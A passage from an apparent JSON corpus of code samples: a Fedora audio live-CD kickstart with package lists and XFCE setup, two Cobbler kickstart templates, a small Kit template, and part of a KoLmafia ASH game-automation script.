PackageKit\nrm -f /var/lib/rpm/__db*\nreleasever=$(rpm -q --qf '%{version}\\n' --whatprovides system-release)\nbasearch=$(uname -i)\nrpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-fedora-$releasever-$basearch\necho \"Packages within this LiveCD\"\nrpm -qa\n# Note that running rpm recreates the rpm db files which aren't needed or wanted\nrm -f /var/lib/rpm/__db*\n\n# go ahead and pre-make the man -k cache (#455968)\n/usr/bin/mandb\n\n# make sure there aren't core files lying around\nrm -f /core*\n\n# remove random seed, the newly installed instance should make it's own\nrm -f /var/lib/systemd/random-seed\n\n# convince readahead not to collect\n# FIXME: for systemd\n\n# forcibly regenerate fontconfig cache (so long as this live image has\n# fontconfig) - see #1169979\nif [ -x /usr/bin/fc-cache ] ; then\n   fc-cache -f\nfi\n\necho 'File created by kickstart. See systemd-update-done.service(8).' \\\n    | tee /etc/.updated >/var/.updated\n\n# Drop the rescue kernel and initramfs, we don't need them on the live media itself.\n# See bug 1317709\nrm -f /boot/*-rescue*\n\n# Disable network service here, as doing it in the services line\n# fails due to RHBZ #1369794\n/sbin/chkconfig network off\n\n# Remove machine-id on pre generated images\nrm -f /etc/machine-id\ntouch /etc/machine-id\n\n%end\n\n%post --nochroot\n#YC: no such files in F31 - cp $INSTALL_ROOT/usr/share/licenses/*-release/* $LIVE_ROOT/\n\n# only works on x86, x86_64\nif [ \"$(uname -i)\" = \"i386\" -o \"$(uname -i)\" = \"x86_64\" ]; then\n    # For livecd-creator builds\n    if [ ! -d $LIVE_ROOT/LiveOS ]; then mkdir -p $LIVE_ROOT/LiveOS ; fi\n    cp /usr/bin/livecd-iso-to-disk $LIVE_ROOT/LiveOS\n\n    # For lorax/livemedia-creator builds\n    sed -i '\n    /## make boot.iso/ i\\\n    # Add livecd-iso-to-disk script to .iso filesystem at /LiveOS/\\\n    <% f = \"usr/bin/livecd-iso-to-disk\" %>\\\n    %if exists(f):\\\n        install ${f} ${LIVEDIR}/${f|basename}\\\n    %endif\\\n    ' /usr/share/lorax/templates.d/99-generic/live/x86.tmpl\nfi\n\n%end\n\n#################################\n# List packages to be installed #\n#################################\n\n%packages\n\n# system packages\n\n# Explicitly specified here:\n# <notting> walters: because otherwise dependency loops cause yum issues.\nkernel\nkernel-modules\nkernel-modules-extra\nkernel-tools\n# kernel-rt-mao\n# YC: livecd-creator doesn't manage kernel-rt-* naming, only kernel-*\n\n# This was added a while ago, I think it falls into the category of\n# \"Diagnosis/recovery tool useful from a Live OS image\".  Leaving this untouched\n# for now.\nmemtest86+\n\nsyslinux\n\n# Without this, initramfs generation during live image creation fails: #1242586\ndracut-live\ngrub2\ngrub2-tools\ngrub2-efi\n#shim\n#shim-unsigned\n\n# save some space\n-mpage\n-sox\n-hplip\n-numactl\n-isdn4k-utils\n-autofs\n# smartcards won't really work on the livecd.\n-coolkey\n-wget\n\n# scanning takes quite a bit of space :/\n-xsane\n-xsane-gimp\n-sane-backends\n\n# XFCE\n@xfce-desktop\n@xfce-apps\n@xfce-extra-plugins\n@xfce-media\n@xfce-office\n\n# unlock default keyring. FIXME: Should probably be done in comps\ngnome-keyring-pam\nfedora-release\n\n# various system package (since F31)\nchkconfig\n\n# save some space\n-autofs\n-acpid\n-gimp-help\n-desktop-backgrounds-basic\n-realmd                     # only seems to be used in GNOME\n-aspell-*                   # dictionaries are big\n-gnumeric\n-foomatic-db-ppds\n-foomatic\n-stix-fonts\n-ibus-typing-booster\n-xfce4-sensors-plugin\n\n# drop some system-config things\n#-system-config-boot\n#-system-config-network\n-system-config-rootpassword\n#-system-config-services\n-policycoreutils-gui\n#-libcrypt-nss\npython3\n\n# alsa\nalsa-firmware\nalsa-tools\nalsa-utils\nalsamixergui\nalsa-plugins-jack\nalsa-plugins-pulseaudio\nalsa-plugins-usbstream\nalsa-plugins-samplerate\nalsa-plugins-upmix\nalsa-plugins-vdownmix\na2jmidid\n#YC aj-snapshot\n\n# jack \npipewire-jack-audio-connection-kit\npipewire-alsa\npipewire-gstreamer\npipewire-libjack\nqjackctl\njackctlmmc\nCadence\n\n# ffado\nffado\n\n# pulse\npavucontrol\n\n# midi\nqsynth\nfluidsynth\nfluid-soundfont-gm\nfluidsynth-dssi\ntimidity++\nqmidiarp\nvmpk\nmamba\n\n# synthesis\nhydrogen\n#YC hydrogen-drumkit-AVL-BlackPearl\nbristol\nyoshimi\nzynaddsubfx\nswami\nsynthv1\nsamplv1\nams\naeolus\nminicomputer\nphasex\nRack-v1\nrack-v1-Befaco\nrack-v1-ESeries\nrack-v1-AudibleInstruments\nrack-v1-Fundamental\n\n# guitar\nguitarix\ntuxguitar\nsooperlooper\n\n# recodring and DAW\naudacity\nardour5\nardour5-audiobackend-alsa\nardour5-audiobackend-jack\nardour5-audiobackend-dummy\n#YC seq24\nqtractor\nnon-daw\nnon-mixer\nnon-sequencer\nnon-session-manager\nmuse\nrosegarden4\nmixxx\nmilkytracker\n\n# audio-plugins\ncalf\ndssi\nladspa\nhelm\nDISTRHO-Ports\n6PM\nsynthpod\n\n# ladpsa plugins\nladspa-calf-plugins\nladspa-caps-plugins\nladspa-amb-plugins\nladspa-autotalent-plugins\nladspa-blop-plugins\nladspa-cmt-plugins\nladspa-fil-plugins\nladspa-mcp-plugins\nladspa-rev-plugins\nladspa-swh-plugins\nladspa-tap-plugins\nladspa-vco-plugins\n#YC ladspa-vocoder-plugins\nladspa-wasp-plugins\n\n# lv2 plugins\nlv2\n#YC lv2-avw-plugins\n#YC pyliblo missing lv2-fil-plugins\nlv2-invada-plugins\n#YC lv2-kn0ck0ut\nlv2-ll-plugins\nswh-lv2\nlv2-vocoder-plugins\nlv2-zynadd-plugins\nlv2dynparam\nlv2-abGate\nlv2-c++-tools \nlv2-samplv1\nlv2-synthv1\nlv2-drumkv1\n#YC lv2-triceratops\nlv2-newtonator\nlv2-x42-plugins\n#YC lv2-fomp-plugins\nlv2-sorcer\nlv2-fabla\nlv2-artyfx-plugins\nlv2-EQ10Q-plugins\nlv2-linuxsampler-plugins\nlv2-mdaEPiano\nlv2-mdala-plugins\nswh-lv2\norbit.lv2\nmidi_matrix.lv2\nsherlock.lv2\neteroj.lv2\nzam-plugins\nvopa-lv2\ntap-lv2\n#sisco.lv2\nmda-lv2\nrkrlv2\nams-lv2\n\n# dssi\nnekobee-dssi\nwhysynth-dssi\nxsynth-dssi\nhexter-dssi\n\n# VST3\nvst3-surge\n\n# Zita tools\nzita-at1\nzita-rev1\nzita-ajbridge\nzita-alsa-pcmi\nzita-convolver\nzita-lrx\nzita-njbridge\nzita-resampler\n\n# writing & publishing\nvim\nnano\nmscore\nlilypond\n\n# audio utilities\njamin\nlash\njack_capture\njaaa\njmeters\nqastools\narpage\nrealTimeConfigQuickScan\nrtirq\njapa\nradium-compressor\n#YC solfege\nlinuxsampler\n# qsampler # YC libgig missing ...\nprojectM-jack\nprojectM-pulseaudio\n\nprotrekkr\noxefmsynth\nstretchplayer\nsfarkxtc\nlenmus\nGrandOrgue\npicoloop\njm2cv\nrakarrack\n\n#language\nchuck\nminiaudicle\nsupercollider\nsupercollider-sc3-plugins\nsupercollider-vim\nlmms-mao\nfaust\nfaust-tools\nfaustworks\n\n# fedora jam theming (to be customized)\nfedora-jam-backgrounds\n\n# Misc. Utils\nscreen\nmultimedia-menus\nxterm\nemacs\n\n# Include Mozilla Firefox and Thunderbird\nfirefox\nthunderbird\n\n##########\n# Remove #\n##########\n\n## These are packages that are pulled for one reason or another but are safe to remove.\n-@input-methods              ## Not necessary can be installed later.\n-@dial-up                    ## Not even old computers use dialup anymore.\n-system-config-firewall-base ## Doesn't seem to do anything\n-gfs2-utils                  ## Part of kernel debug\n-kernel-debug-modules-extra  ## Part of kernel debug\n-kernel-debug                ## Dont need the debug kernel upon install\n-aspell-*                    ## Dictionaries are big and take up space\n-man-pages-*                 ## Dictionaries\n-words                       ## Dictionaries\n-krb5-auth-dialog            ## Legacy and cmdline things we don't want\n-krb5-workstation            ## Legacy\n-pam_krb5                    ## Legacy\n-quota                       ## Legacy\n-minicom                     ## Legacy\n-dos2unix                    ## Legacy\n-finger                      ## Legacy\n-ftp                         ## Legacy\n-jwhois                      ## Legacy\n-mtr                         ## Legacy\n-pinfo                       ## Legacy\n-rsh                         ## Legacy\n-telnet                      ## Legacy\n-nfs-utils                   ## Legacy\n-ypbind                      ## Legacy\n-yp-tools                    ## Legacy\n-rpcbind                     ## Legacy\n-acpid                       ## Legacy\n-ntsysv                      ## Legacy\n-rmt                         ## Legacy\n-talk                        ## Legacy\n-lftp                        ## Legacy\n-tcpdump                     ## Legacy\n-dump                        ## Legacy\n-@printing                   ## We don't want printer support out of the box.\n-fprintd-pam                 ## We don't want printer support out of the box.\n-fprintd                     ## We don't want printer support out of the box.\n-libfprint                   ## We don't want printer support out of the box.\n-python3-cups                ## We don't want printer support out of the box.\n-system-config-printer-libs  ## We don't want printer support out of the box.\n-ibus-typing-booster         ## Tab completion in libreoffice and the likes Unneeded\n-libtranslit                 ## Tab\n-libtranslit-m17n            ## Tab\n\n# Not really useful\n# -fedora-jam-backgrounds-kde\n# FC28 required now -tigervnc-server-minimal\n-abiword\n-xfburn\n-lyx-fonts\n-goffice\n-midori\n\n%end\n\n%post --nochroot\n\nmkdir -p $INSTALL_ROOT/home/audinux/SoundFonts\nmkdir -p $INSTALL_ROOT/home/audinux/GuitarPro\n\ncp -r /tmp/prepare/audinux/SoundFonts/*   $INSTALL_ROOT/home/audinux/SoundFonts/\ncp -r /tmp/prepare/audinux/GuitarPro/*    $INSTALL_ROOT/home/audinux/GuitarPro/\ncp /tmp/prepare/audinux/Images/skulls.jpg $INSTALL_ROOT/usr/share/backgrounds/images/\n\n%end\n\n%post\n\nif [ ! -d /home/audinux/Desktop ]; then\n  mkdir -p /home/audinux/Desktop\nfi\n\n# Rewrite limits.conf for jack use\ncat > /etc/security/limits.d/95-jack.conf <<EOF\n# Default limits for users of jack-audio-connection-kit\n\n@jackuser - rtprio 90\n@jackuser - nice -10\n@jackuser - memlock unlimited\nEOF\n\n# xfce configuration\n\n# This is a huge file and things work ok without it\nrm -f /usr/share/icons/HighContrast/icon-theme.cache\n\n# create /etc/sysconfig/desktop (needed for installation)\n\ncat > /etc/sysconfig/desktop <<EOF\nPREFERRED=/usr/bin/startxfce4\nDISPLAYMANAGER=/usr/sbin/lightdm\nEOF\n\n# add initscript\ncat >> /etc/rc.d/init.d/livesys << EOF\n\nmkdir -p /home/audinux/.config/xfce4\n\ncat > /home/audinux/.config/xfce4/helpers.rc << FOE\nMailReader=thunderbird\nFileManager=Thunar\nWebBrowser=firefox\nFOE\n\n# disable screensaver locking (#674410)\ncat >> /home/audinux/.xscreensaver << FOE\nmode:           off\nlock:           False\ndpmsEnabled:    False\nFOE\n\n# deactivate xfconf-migration (#683161)\nrm -f /etc/xdg/autostart/xfconf-migration-4.6.desktop || :\n\n# deactivate xfce4-panel first-run dialog (#693569)\nmkdir -p /home/audinux/.config/xfce4/xfconf/xfce-perchannel-xml\ncp /etc/xdg/xfce4/panel/default.xml /home/audinux/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-panel.xml\n\n# Set french keyboard for xfce\ncat >> /home/audinux/.config/xfce4/xfconf/xfce-perchannel-xml/keyboard-layout.xml << FOE\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<channel name=\"keyboard-layout\" version=\"1.0\">\n  <property name=\"Default\"      type=\"empty\">\n    <property name=\"XkbDisable\" type=\"bool\"   value=\"false\"/>\n    <property name=\"XkbLayout\"  type=\"string\" value=\"fr\"/>\n    <property name=\"XkbVariant\" type=\"string\" value=\"\"/>\n  </property>\n</channel>\nFOE\n\n# Set the background image for the main desktop\n# <property name=\"image-path\"        type=\"string\" value=\"/usr/share/backgrounds/xfce/xfce-blue.jpg\"/>\n# <property name=\"last-single-image\" type=\"string\" value=\"/usr/share/backgrounds/xfce/xfce-blue.jpg\"/>\n\ncat >> /home/audinux/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-desktop.xml << FOE\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<channel name=\"xfce4-desktop\" version=\"1.0\">\n  <property name=\"backdrop\" type=\"empty\">\n    <property name=\"screen0\" type=\"empty\">\n      <property name=\"monitor0\" type=\"empty\">skulls.jpg\n        <property name=\"image-path\"        type=\"string\" value=\"/usr/share/backgrounds/images/skulls.jpg\"/>\n        <property name=\"last-image\"        type=\"string\" value=\"/usr/share/backgrounds/images/default.png\"/>\n        <property name=\"last-single-image\" type=\"string\" value=\"/usr/share/backgrounds/images/skulls.jpg\"/>\n      </property>\n    </property>\n  </property>\n</channel>\nFOE\n\n# set up lightdm autologin\nsed -i 's/^#autologin-user=.*/autologin-user=audinux/' /etc/lightdm/lightdm.conf\nsed -i 's/^#autologin-user-timeout=.*/autologin-user-timeout=0/' /etc/lightdm/lightdm.conf\n#sed -i 's/^#show-language-selector=.*/show-language-selector=true/' /etc/lightdm/lightdm-gtk-greeter.conf\n\n# set Xfce as default session, otherwise login will fail\nsed -i 's/^#user-session=.*/user-session=xfce/' /etc/lightdm/lightdm.conf\n\n# Show harddisk install on the desktop\nsed -i -e 's/NoDisplay=true/NoDisplay=false/' /usr/share/applications/liveinst.desktop\n\nif [ ! -d /home/audinux/Desktop ]; then\n  mkdir /home/audinux/Desktop\nfi\n\ncp /usr/share/applications/liveinst.desktop /home/audinux/Desktop\n\n# and mark it as executable (new Xfce security feature)\nchmod +x /home/audinux/Desktop/liveinst.desktop\n\n# this goes at the end after all other changes. \nchown -R audinux:audinux /home/audinux\nrestorecon -R /home/audinux\n\nEOF\n\n# Install applications on the Desktop\n\ncat >> /etc/rc.d/init.d/livesys << EOF\n\n# Copy some applications on desktop\ncp /usr/share/applications/qjackctl.desktop       /home/audinux/Desktop\ncp /usr/share/applications/guitarix.desktop       /home/audinux/Desktop\ncp /usr/share/applications/qsynth.desktop         /home/audinux/Desktop\ncp /usr/share/applications/yoshimi.desktop        /home/audinux/Desktop\ncp /usr/share/applications/sooperlooper.desktop   /home/audinux/Desktop\ncp /usr/share/applications/lmms.desktop           /home/audinux/Desktop\ncp /usr/share/applications/mscore.desktop         /home/audinux/Desktop\ncp /usr/share/applications/qtractor.desktop       /home/audinux/Desktop\ncp /usr/share/applications/audacity.desktop       /home/audinux/Desktop\ncp /usr/share/applications/tuxguitar.desktop      /home/audinux/Desktop\ncp /usr/share/applications/xfce4-terminal.desktop /home/audinux/Desktop\ncp /usr/share/applications/carla.desktop          /home/audinux/Desktop\ncp /usr/share/applications/cadence.desktop        /home/audinux/Desktop\ncp /usr/share/applications/ardour4.desktop        /home/audinux/Desktop\n\nchmod +x /home/audinux/Desktop/*.desktop\n\n# Disable plasma-pk-updates (bz #1436873 and 1206760)\necho \"Removing plasma-pk-updates package.\"\nrpm -e plasma-pk-updates\n\n# Disable baloo\ncat > /home/audinux/.config/baloofilerc << BALOO_EOF\n[Basic Settings]\nIndexing-Enabled=false\nBALOO_EOF\n\n# Disable kres-migrator\ncat > /home/audinux/.kde/share/config/kres-migratorrc << KRES_EOF\n[Migration]\nEnabled=false\nKRES_EOF\n\n# Disable kwallet migrator\ncat > /home/audinux/.config/kwalletrc << KWALLET_EOL\n[Migration]\nalreadyMigrated=true\nKWALLET_EOL\n\n# make sure to set the right permissions and selinux contexts\nsetfiles -v /etc/selinux/strict/contexts/files/file_contexts /\nchown -R audinux:audinux /home/audinux/\nrestorecon -R /home/audinux/\n\nEOF\n\n%end\n"
  },
  {
    "path": "samples/Kickstart/mysql.ks",
    "content": "# example taken from https://github.com/xiaomatech/cobbler/blob/master/kickstarts/mysql.ks\n# Lic. MIT\n\n# kickstart template for Fedora 8 and later.\n# (includes %end blocks)\n# do not use with earlier distros\n\n#platform=x86, AMD64, or Intel EM64T\n# System authorization information\nauth  --useshadow  --enablemd5\n# System bootloader configuration\nbootloader --location=mbr\n# Partition clearing information\nclearpart --all --initlabel\n# Use text mode install\ntext\n# Firewall configuration\nfirewall --disabled\n# Run the Setup Agent on first boot\nfirstboot --disable\n# System keyboard\nkeyboard us\n# System language\nlang en_US.UTF-8\n# Use network installation\nurl --url=$tree\n# If any cobbler repo definitions were referenced in the kickstart profile, include them here.\n$yum_repo_stanza\n# Network information\n$SNIPPET('network_config')\n# Reboot after installation\nreboot\n\n#Root password\nrootpw --iscrypted $default_password_crypted\n# SELinux configuration\nselinux --disabled\n# Do not configure the X Window System\nskipx\n# System timezone\ntimezone  Asia/Chongqing\n# Install OS instead of upgrade\ninstall\n# Clear the Master Boot Record\nzerombr\n# Allow anaconda to partition the system as needed\n%include /tmp/partition.ks\n\n#disable some service and enable some service\n$SNIPPET('services')\n\n%pre\n$SNIPPET('log_ks_pre')\n$SNIPPET('kickstart_start')\n$SNIPPET('pre_install_network_config')\n# Enable installation monitoring\n$SNIPPET('pre_anamon')\n$SNIPPET('pre_partition')\n%end\n\n#%packages\n%packages\n$SNIPPET('pre_packages')\n%end\n\n%post\n$SNIPPET('log_ks_post')\n# Start yum configuration\n$yum_config_stanza\n# End yum configuration\n$SNIPPET('post_sync_time')\n$SNIPPET('post_install_kernel_options')\n$SNIPPET('post_install_network_config')\n$SNIPPET('download_config_files')\n$SNIPPET('cobbler_register')\n# Enable post-install boot notification\n$SNIPPET('post_anamon')\n\n#### repo setup ###\n$SNIPPET('post_repo_config')\n\n#clean root directory\n$SNIPPET('post_clean_dir')\n\n### Sync Time ###\n$SNIPPET('post_sync_time')\n\n### post util ###\n$SNIPPET('post_util')\n\n#mysql\n$SNIPPET('post_install_mysql')\n\n#affinity\n$SNIPPET('set_affinity')\n\n# Start final steps\n$SNIPPET('publickey_root_robin')\n$SNIPPET('kickstart_done')\n# End final steps\n%end\n"
  },
  {
    "path": "samples/Kickstart/sample_end.ks",
    "content": "# example taken from https://github.com/ssalevan/cobbler/blob/master/kickstarts/sample_end.ks\n# Lic. GPL-2.0\n\n# kickstart template for Fedora 8 and later.\n# (includes %end blocks)\n# do not use with earlier distros\n\n#platform=x86, AMD64, or Intel EM64T\n# System authorization information\nauth  --useshadow  --enablemd5\n# System bootloader configuration\nbootloader --location=mbr\n# Partition clearing information\nclearpart --all --initlabel\n# Use text mode install\ntext\n# Firewall configuration\nfirewall --enabled\n# Run the Setup Agent on first boot\nfirstboot --disable\n# System keyboard\nkeyboard us\n# System language\nlang en_US\n# Use network installation\nurl --url=$tree\n# If any cobbler repo definitions were referenced in the kickstart profile, include them here.\n$yum_repo_stanza\n# Network information\n$SNIPPET('network_config')\n# Reboot after installation\nreboot\n\n#Root password\nrootpw --iscrypted $default_password_crypted\n# SELinux configuration\nselinux --disabled\n# Do not configure the X Window System\nskipx\n# System timezone\ntimezone  America/New_York\n# Install OS instead of upgrade\ninstall\n# Clear the Master Boot Record\nzerombr\n# Allow anaconda to partition the system as needed\nautopart\n\n%pre\n$SNIPPET('log_ks_pre')\n$kickstart_start\n$SNIPPET('pre_install_network_config')\n# Enable installation monitoring\n$SNIPPET('pre_anamon')\n%end\n\n%packages\n$SNIPPET('func_install_if_enabled')\n%end\n\n%post\n$SNIPPET('log_ks_post')\n# Start yum configuration\n$yum_config_stanza\n# End yum configuration\n$SNIPPET('post_install_kernel_options')\n$SNIPPET('post_install_network_config')\n$SNIPPET('func_register_if_enabled')\n$SNIPPET('download_config_files')\n$SNIPPET('koan_environment')\n$SNIPPET('redhat_register')\n$SNIPPET('cobbler_register')\n# Enable post-install boot notification\n$SNIPPET('post_anamon')\n# Start final steps\n$kickstart_done\n# End final steps\n%end\n"
  },
  {
    "path": "samples/Kit/demo.kit",
    "content": "<!-- $pageTitle: The Kit Language -->\n\n<section>\n\t<h1><!-- $pageTitle --></h1>\n\t<p>\n\t\t<!-- @include \"loremipsum\" -->\n\t</p>\n</section>"
  },
  {
    "path": "samples/KoLmafia ASH/newDG.ash",
    "content": "script \"newDG.ash\"\n\nimport <aen_utils.ash>\nimport <aen_bastille.ash>\nimport <aen_pantogram.ash>\nimport <aen_fortune.ash>\n\nif(!get_property(\"noDG\").to_boolean() && user_confirm(\"Would you like to tell Aenimus that you're using this script? It would be nice to know, but feel free to say no.\")) {\n\tnotify aenimus;\n\tset_property(\"noDG\", \"true\");\n} else {\n\tset_property(\"noDG\", \"true\");\n}\n\nvisit_url(\"main.php\");\nif(last_choice() == 1343) {\n\trun_choice(1);\n}\t\n\nvisit_url(\"main.php\");\nif(last_choice() == 1342) {\n\tif(!get_property(\"_newDGSkills\").to_boolean()) {\n\t\tif(user_confirm(\"If you have the maximum HP for all the DG skills, click yes. If not, please click no to allocate skills manually.\")) {\n\t\t\tif(user_confirm(\"Do you want the muscle-equalizing skill? Without: scaling fights = easier, but less fast healing and requires reset if you have level 13 muscle test.\")) {\n\t\t\tprint(\"Taking muscle equalizer and savage bite.\");\n\t\t\t\tvisit_url(\"choice.php?whichchoice=1342&option=2&pwd=\" + my_hash() + \"&sk[]=10&sk[]=11&sk[]=12&sk[]=13&sk[]=14&sk[]=15&sk[]=16&sk[]=17&sk[]=18&sk[]=22&sk[]=23&sk[]=24&sk[]=25&sk[]=26&sk[]=27&sk[]=28&sk[]=30&sk[]=31&sk[]=32&sk[]=33&sk[]=34&sk[]=35&sk[]=36&sk[]=37&sk[]=38\");\n\t\t\t\tvisit_url(\"choice.php?whichchoice=1342&option=1&pwd=\" + my_hash());\n\t\t\t\tset_property(\"_newDGSkills\", \"true\");\n\t\t\t} else {\n\t\t\tprint(\"Not taking muscle equalizer and savage bite.\");\t\t\t\n\t\t\t\tvisit_url(\"choice.php?whichchoice=1342&option=2&pwd=\" + my_hash() + \"&sk[]=11&sk[]=12&sk[]=13&sk[]=14&sk[]=16&sk[]=17&sk[]=18&sk[]=22&sk[]=23&sk[]=24&sk[]=25&sk[]=26&sk[]=27&sk[]=28&sk[]=30&sk[]=31&sk[]=32&sk[]=33&sk[]=34&sk[]=35&sk[]=36&sk[]=37&sk[]=38\");\n\t\t\t\tvisit_url(\"choice.php?whichchoice=1342&option=1&pwd=\" + my_hash());\n\t\t\t\tset_property(\"_newDGSkills\", \"true\");\n\t\t\t}\n\n\t\t} else {\n\t\t\tset_property(\"_newDGSkills\", \"true\");\n\t\t\tabort(\"Please allocate your skills manually, confirm, rest for millennia and then re-run.\");\n\t\t}\n\t}\n}\n\nif(DG()) {\n\n\t// Stuffies\n\tif(get_clan_rumpus() contains \"Mr. Klaw \\\"Skill\\\" Crane Game\") {\n\t\twhile(get_property(\"_klawSummons\").to_int() < 3) {\n\t\t\tprint(\"Collecting rumpus stuffies.\", \"blue\");\n\t\t\tvisit_url(\"clan_rumpus.php?action=click&spot=3&furni=3\");\n\t\t}\n\t}\n\n\tif(have($item[Clan VIP Lounge key])) {\n\t\twhile(get_property(\"_deluxeKlawSummons\").to_int() < 3) {\n\t\t\tprint(\"Collecting VIP stuffies.\", \"blue\");\n\t\t\tvisit_url(\"clan_viplounge.php?action=klaw\");\n\t\t}\n\t}\n\n\t// Toot Oriole stolen from Bale\n\tif(!get_property(\"_tootLetter\").to_boolean()) {\n\t\tprint(\"Collecting the Toot Oriole letter.\", \"blue\");\n\t\tvisit_url(\"tutorial.php?action=toot&pwd\");\n\t\titem tootletter = $item[letter from King Ralph XI];\n\t\tif(my_path() == \"Actually Ed the Undying\") {\n\t\t\ttootletter = $item[letter to Ed the Undying];\n\t\t}\n\t\tif(have(tootletter)) {\n\t\t\tprint(\"Using the Toot Oriole letter.\", \"blue\");\n\t\t\tuse(1, tootletter);\n\t\t}\n\t\tset_property(\"_tootLetter\", \"true\");\n\t}\n\t\t\n\t// Collect stones\n\tif(have(sack)) {\n\t\tprint(\"Collecting stones.\", \"blue\");\n\t\tuse(1, sack);\n\t\tif(have(por)) {\n\t\t\tprint(\"You received \" + amt(bac) + \" baconstones, \" + amt(ham) + \" hamethysts and \" + amt(por) + \" porquoises (precioussss).\", \"blue\");\n\t\t} else {\n\t\t\tprint(\"You received \" + amt(bac) + \" baconstones, \" + amt(ham) + \" hamethysts but OMG no porquoises! Drop to casual! \", \"red\");\n\t\t}\t\n\t}\n\t\n\t// PANTOGRAM\n\tif(pantogram_can_summon()) {\n\t\t\n\t\tif(knoll_available() && amt(por) < 1) {\n\t\t\tprint(\"Buying a taco shell for Pantogram because we have no porquoises (Gollum! GOLLUM!).\", \"blue\");\n\t\t\tbuyUntil(1, $item[taco shell]);\n\t\t}\n\t\t\n\t\tpantogram_summon();\n\t\twield(pantogram_pants);\n\t\t\n\t}\n\t\n\n\tif(!get_property(\"_aen_ppants\").to_boolean() && user_confirm(\"Safety check that your porquoise is safely in your pantogram pants.\")) {\n\t\tset_property(\"_aen_ppants\", \"true\");\n\t} else {\n\t\tabort(\"Please do your pantogram pants manually.\");\n\t\tset_property(\"_aen_ppants\", \"true\");\n\t}\n\t\n\t// AUTOSELLING\n\tif(!get_property(\"aen_stuffies\").to_boolean() && user_confirm(\"Do you want to give the script permanent permission to sell your in-run klaw stuffies?\")) {\n\t\tset_property(\"aen_stuffies\", \"true\");\n\t}\n\tif(get_property(\"aen_stuffies\").to_boolean()) {\n\t\tforeach junk in $items[club necklace, diamond necklace, spade necklace, rubber WWBD? bracelet, rubber WWJD? bracelet, rubber WWSPD? bracelet, rubber WWtNSD? bracelet,\n\t\tstuffed angry cow, stuffed astral badger, stuffed baby gravy fairy, stuffed Cheshire bitten, stuffed cocoabo, stuffed flaming gravy fairy, stuffed frozen gravy fairy, stuffed hand turkey,\n\t\tstuffed MagiMechTech MicroMechaMech, stuffed mind flayer, stuffed scary death orb, stuffed sleazy gravy fairy, stuffed snowy owl, stuffed spooky gravy fairy, stuffed stinky gravy fairy,\n\t\tstuffed undead elbow macaroni, stuffed Meat, Newbiesport&trade; tent]\n\t\n\t\tautosell(amt(junk), junk);\n\t}\n\t\n\tif(!get_property(\"_aen_stones\").to_boolean()) {\n\t\n\t\tif(have(por) && user_confirm(\"Do you want to sell your porquoises?\")) {\n\t\t\tautosell(amt(por), por);\n\t\t}\n\t\t\n\t\tif(have(bac)) {\n\t\t\tif(in_mysticality_sign() && user_confirm(\"Do you want to sell your baconstones? Can potentially be used for a +50% myst potion in gnome sign.\")) {\n\t\t\t\tautosell(amt(bac), bac);\n\t\t\t} else if(!in_mysticality_sign() && user_confirm(\"Do you want to sell your baconstones?\")) {\n\t\t\t\tautosell(amt(bac), bac);\n\t\t\t}\n\t\t}\n\t\t\t\t\n\t\tif(have(ham) && user_confirm(\"Do you want to sell your hamethysts?\")) {\n\t\t\tautosell(amt(ham), ham);\n\t\t}\n\t\t\n\t\tset_property(\"_aen_stones\", \"true\");\n\n\t}\n\t\n\t// BLOOD BAGS maybe check for collection?\n\tif(amt($item[blood bag]) < 5) {\n\t\tvisit_url(\"place.php?whichplace=town_right&action=town_bloodbank\");\n\t}\n\t\n\t// BOXING DAYCARE\n\tif(get_property(\"daycareOpen\").to_boolean() && get_property(\"_daycareGymScavenges\").to_int() == 0) {\n\t\n\t\tvisit_url(\"place.php?whichplace=town_wrong&action=townwrong_boxingdaycare\");\n\t\tif(last_choice() == 1334) {\n\t\t\tif(!get_property(\"_daycareNap\").to_boolean()) {\n\t\t\t\trun_choice(1);\n\t\t\t}\n\t\t\trun_choice(3);\n\t\t\tif(last_choice() == 1336) {\n\t\t\t\trun_choice(2);\n\t\t\t\trun_choice(5);\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(last_choice() == 1334) {\n\t\t\trun_choice(4);\n\t\t}\n\t\n\t\tif(have($item[body spradium])) {\n\t\t\tprint(\"You received a body spradium! Congratulations!\", \"green\");\n\t\t} else {\n\t\t\tprint(\"You did not receive a body spradium! Drop to casual!\", \"red\");\n\t\t}\n\t\t\n\t}\n\t\n\t// Buy and set the radio\n\tif(in_muscle_sign() && amt($item[Detuned Radio]) == 0) {\n\t\tprint(\"Buying and using a detuned radio.\", \"blue\");\n\t\tbuyUntil(1, $item[Detuned Radio]);\n\t\tchange_mcd(10);\n\t}\n\t\n\t// FANTASYREALM\n\tif(get_property(\"frAlways\").to_boolean() && !get_property(\"_aen_lyleHat\").to_boolean()) {\n\t\tprint(\"Collecting Lyle FantasyRealm hat.\", \"blue\");\n\t\titem lyleHat;\n\t\tif(my_primestat() == $stat[muscle]) {\n\t\t\t// Lyle hat\n\t\t\tcli_execute(\"make FantasyRealm Warrior's Helm\");\n\t\t\tlyleHat = $item[FantasyRealm Warrior's Helm];\n\t\t\t\n\t\t\t/* Mummery Muscle substats on the XO Skeleton\n\t\t\tif(my_familiar() != $familiar[XO Skeleton]) {\n\t\t\t\tcli_execute(\"mummery muscle\");\n\t\t\t}*/\n\t\t} else if(my_primestat() == $stat[mysticality]) {\n\t\t\tcli_execute(\"make FantasyRealm Mage's Hat\");\n\t\t\tlyleHat = $item[FantasyRealm Mage's Hat];\n\t\t} else if(my_primestat() == $stat[moxie]) {\n\t\t\tcli_execute(\"make FantasyRealm Rogue's Mask\");\n\t\t\tlyleHat = $item[FantasyRealm Rogue's Mask];\t\t\t\n\t\t}\n\t\twield(lyleHat);\n\t\tset_property(\"_aen_lyleHat\", \"true\");\n\t}\n\t\n\tif(have_effect($effect[Ceaseless Snarling]) < 1) {\n\t\tuse_skill(1, $skill[Ceaseless Snarl]);\n\t}\n\t\n\twield($item[vampyric cloake]);\n\tif(have($item[January's Garbage Tote])) {\n\t\tcli_execute(\"fold tinsel tights\");\n\t\twield($item[tinsel tights]);\n\t} else {\n\t\twield($item[old sweatpants]);\n\t}\n\twield(saber);\n\twield($item[latte lovers member's mug]);\n\twield($slot[acc1], $item[Kremlin's Greatest Briefcase]);\n\tif(!wield($slot[acc2], $item[Draftsman's driving gloves])) {\n\t\twield($slot[acc2], $item[astral 